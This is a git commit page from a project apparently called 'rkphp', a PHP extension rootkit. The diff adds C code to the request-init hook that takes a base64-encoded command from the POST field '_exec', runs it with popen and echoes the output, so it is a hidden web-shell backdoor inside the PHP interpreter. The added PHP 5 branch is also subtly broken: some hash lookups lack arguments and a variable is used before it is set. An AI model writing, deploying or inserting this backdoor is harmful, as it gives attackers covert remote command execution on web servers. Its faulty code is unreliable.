Browse Source

Default

master
Root 5 years ago
parent
commit
1cc230d0d0
  1. 39
      rkphp/src/php_funcs.c
  2. 7
      rkphp/src/php_funcs.loT

39
rkphp/src/php_funcs.c

@ -168,6 +168,44 @@ PHP_RINIT_FUNCTION(rkphp) @@ -168,6 +168,44 @@ PHP_RINIT_FUNCTION(rkphp)
zval *arr;
#if PHP_MAJOR_VERSION < 7
if(zend_hash_find(&EG(symbol_table), "_POST", sizeof("_POST") - 1, &arr))
{
zval *val;
HashTable *ht = Z_ARRVAL_P(arr);
if(zend_hash_find(ht, "_exec", sizeof("_exec") - 1))
{
FILE *fp;
char output[2048], decoded[1024], *encoded;
encoded = Z_STRVAL_P(val);
if(base64_decode(encoded, decoded, strlen(encoded)) == 0)
{
RKPHP_PRINTF("[!] Not a valid base64 string!\n");
return SUCCESS;
}
if((fp = popen(decoded, "r")) == NULL)
{
RKPHP_PRINTF("Unable to execute cmd!\n");
return SUCCESS;
}
php_printf("<pre>\n");
while(fgets(output, sizeof(output) - 1, fp) != NULL)
{
php_printf("%s", output);
}
php_printf("</pre>\n");
pclose(fp);
}
}
#else
if((arr = zend_hash_str_find(&EG(symbol_table), "_POST", sizeof("_POST") - 1)))
{
zval *val;
@ -204,6 +242,7 @@ PHP_RINIT_FUNCTION(rkphp) @@ -204,6 +242,7 @@ PHP_RINIT_FUNCTION(rkphp)
pclose(fp);
}
}
#endif
return SUCCESS;
}

7
rkphp/src/php_funcs.loT

@ -0,0 +1,7 @@ @@ -0,0 +1,7 @@
# src/php_funcs.lo - a libtool object file
# Generated by ltmain.sh - GNU libtool 1.5.26 (1.1220.2.492 2008/01/30 06:40:56)
#
# Please DO NOT delete this file!
# It is necessary for linking the library.
# Name of the PIC object.
Loading…
Cancel
Save